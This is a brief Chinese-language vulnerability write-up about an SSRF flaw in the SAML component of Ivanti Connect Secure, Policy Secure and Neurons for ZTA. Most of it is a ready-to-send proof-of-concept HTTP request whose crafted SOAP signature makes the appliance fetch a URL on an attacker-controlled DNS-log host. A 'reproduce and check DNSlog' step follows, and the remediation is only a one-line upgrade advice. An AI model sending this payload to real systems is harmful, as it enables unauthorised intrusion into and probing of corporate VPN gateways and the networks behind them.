0X01 漏洞描述
Ivanti Connect Secure 为远程和移动用户提供了一个无缝的、具有成本效益的 SSL VPN 解决方案，使他们能随时随地从任何可上网的设备访问企业资源。 Ivanti Connect Secure（9.x，22.x）和Ivanti Policy Secure（9.x,22.x）以及Ivanti Neurons for ZTA的SAML组件中存在SSRF漏洞。
0X02漏洞复现
POST /dana-ws/saml20.ws HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Connection: close Content-Length: 831 Accept-Encoding: gzip <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> </ds:SignedInfo> <ds:SignatureValue>qwerty</ds:SignatureValue> <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:RetrievalMethod URI="http://your-dns"/> <ds:X509Data/> </ds:KeyInfo> <ds:Object></ds:Object> </ds:Signature> </soap:Body></soap:Envelope>
构造POC，并查看DNSlog日志
0X03 修复建议
升级之最新版本